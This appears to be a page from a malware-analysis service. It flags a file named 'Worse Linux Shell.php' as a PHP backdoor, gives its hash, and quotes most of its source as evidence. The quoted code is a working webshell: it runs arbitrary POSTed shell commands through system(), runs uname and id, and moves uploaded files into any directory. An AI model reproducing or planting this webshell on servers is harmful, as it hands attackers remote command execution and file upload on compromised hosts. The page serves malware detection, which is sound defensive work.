Hostile 100% php Download

Backdoor.Linux.Php.a

PHP webshell executes arbitrary commands

Web Shell - file Worse Linux Shell.phpphp webshell having some kind of input and some kind of payload. restricted to small files or big ones including suspicious strings
SHA-25660d62b194e19cfa229db24acf720241e3cc16bb2a3cac1a58ed022b03a6276bb

Evidence

HTML form encoding attribute lines 1–36
1<?php
2
3set_magic_quotes_runtime(0);
4
5print "<style>body{font-family:trebuchet ms;font-size:16px;}hr{width:100%;height:2px;}</style>";
6print "<center><h1>WWW.ssquad.COM</h1></center>";
7print "<hr><hr>";
8
9$currentWD = str_replace("\\\\","\\",$_POST['_cwd']);
10$currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);
11
12$UName = `uname -a`;
13$SCWD = `pwd`;
14$UserID = `id`;
15
16if( $currentWD == "" ) {
17 $currentWD = $SCWD;
18}
19
20print "<table>";
21print "<tr><td><b>We are:</b></td><td>".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")</td></tr>";
22print "<tr><td><b>Server is:</b></td><td>".$_SERVER['SERVER_SIGNATURE']."</td></tr>";
23print "<tr><td><b>System type:</b></td><td>$UName</td></tr>";
24print "<tr><td><b>Our permissions:</b></td><td>$UserID</td></tr>";
25print "</table>";
26
27print "<hr><hr>";
28
29if( $_POST['_act'] == "List files!" ) {
30 $currentCMD = "ls -la";
31}
32
33print "<form method=post enctype=\"multipart/form-data\"><table>";
34
35print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
36print "<td><input type=submit name=_act value=\"Execute!\"></td></t …
Reads PHP file-upload data via $_FILES lines 44–66
44:17… /form><hr><hr>";
45
46$currentCMD = str_replace("\\\"","\"",$currentCMD);
47$currentCMD = str_replace("\\\'","\'",$currentCMD);
48
49if( $_POST['_act'] == "Upload!" ) {
50 if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
51 print "<center><b>Error while uploading file!</b></center>";
52 } else {
53 print "<center><pre>";
54 system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
55 print "</pre><b>File uploaded successfully!</b></center>";
56 }
57} else {
58 print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
59 $currentCMD = "cd ".$currentWD.";".$currentCMD;
60 system($currentCMD);
61 print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>";
62}
⋯4 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.